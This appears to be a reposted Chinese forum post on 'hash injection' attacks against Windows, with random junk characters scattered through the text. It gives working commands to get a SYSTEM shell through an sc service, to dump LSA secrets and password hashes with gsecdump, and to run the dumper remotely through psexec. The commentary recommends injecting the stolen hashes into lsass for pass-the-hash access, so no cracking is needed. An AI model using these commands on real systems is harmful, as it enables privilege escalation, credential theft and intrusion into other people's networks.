HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS

C:\>sc start shellcmdline
[SC] StartService FAILED 1053:

( R; u* L. {7 H7 \1 DThe service did not respond to the start or control request in a timely fashion.
: D3 ~/ k; e2 v! d# k, ?' j
C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
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------------

/ h) e+ x" z# GThen in the new DOS window:
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Microsoft Windows XP [Version 5.1.2600]
9 _: n5 J0 U$ {) ~4 \6 S# ?% j(C) Copyright 1985-2001 Microsoft Corp.
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C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM
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4 L6 ]' s! ?8 p6 _) b, ?; RC:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
# ^0 A9 I8 ^' i, ?. b, {: [usage: gsecdump [options]
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options:
. l0 y1 A( y2 ?5 D: {-h [ --help ] show help
-a [ --dump_all ] dump all secrets
  b+ ]* q. X7 _* Q& |% K-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
9 g- X% t3 d+ V; ^9 b) M-s [ --dump_hashes ] dump hashes from SAM/AD
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; q0 n: {5 _% L) G, QAlthough I like to use:
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- h5 }( O( q3 N8 @PsExec v1.83 - Execute processes remotely
. H8 m+ B7 \$ U3 Q1 E( rCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

3 x/ J- y+ G" W# E- ?" Mto get the hashes from active logon sessions of a remote system.

% i0 H* s, b0 u% ?- j5 PThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]

* o" C& d$ n* e9 |/ t8 D我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。